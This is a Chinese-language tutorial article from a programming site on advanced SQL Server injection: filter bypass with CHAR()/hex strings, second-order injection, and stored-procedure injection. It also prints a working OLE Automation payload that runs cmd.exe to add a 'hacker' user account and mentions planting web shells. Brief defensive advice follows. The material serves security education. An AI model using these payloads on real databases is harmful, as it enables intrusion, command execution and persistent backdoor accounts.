首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 數據庫知識 >  >> SQL Server 資料庫 >> 關於SqlServer

SQL Server 高階注入技術(六):無引號字串構造、二次注入、預存程序注入與 OLE 自動化奪權

     編輯:關於SqlServer

無引號字串構造

利用 CHAR() 或十六進位構造字串,繞過單引號過濾:

INSERT INTO users VALUES (666,
    CHAR(0x63)+CHAR(0x68)+CHAR(0x72)+CHAR(0x69)+CHAR(0x73),  -- 'chris'
    CHAR(0x63)+CHAR(0x68)+CHAR(0x72)+CHAR(0x69)+CHAR(0x73),
    0xFFFF);

數值型欄位更直接:SQL Server 自動將數值隱式轉換為 varchar。

二次注入(續)

攻擊者先存入惡意資料(經過濾),後續功能信任該資料拼接 SQL 觸發。核心對策:任何動態 SQL 皆不可信任外部輸入,包含資料庫讀回資料。

預存程序注入

誤區:用預存程序就安全。實則:若應用層拼接 SQL 字串再傳給預存程序(如 EXEC('sp_who ''1''; SELECT * FROM sysobjects')),注入依然生效。唯有使用 ADO Command 物件 + 參數集合 呼叫預存程序,才能保證參數化。

OLE 自動化奪取系統控制權

SQL Server 內建 sp_OACreate, sp_OAMethod, sp_OAGetProperty 允許在 T-SQL 中建立 COM 物件:

  • WScript.Shell → 執行任意命令(notepad.exe 或 cmd.exe /c ...)
  • Scripting.FileSystemObject → 讀寫檔案、建立 ASP/Web Shell
  • Speech.VoiceText → 讓伺服器發聲(示範任意代碼執行能力)
DECLARE @o INT;
EXEC sp_OACreate 'WScript.Shell', @o OUT;
EXEC sp_OAMethod @o, 'Run', NULL, 'cmd.exe /c net user hacker P@ssw0rd /add';

防禦: 嚴格控制 sysadmin 權限,移除不必要的 OLE 自動化預存程序公開權限,啟用「CLR 嚴格安全性」,最小化服務帳號權限。

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved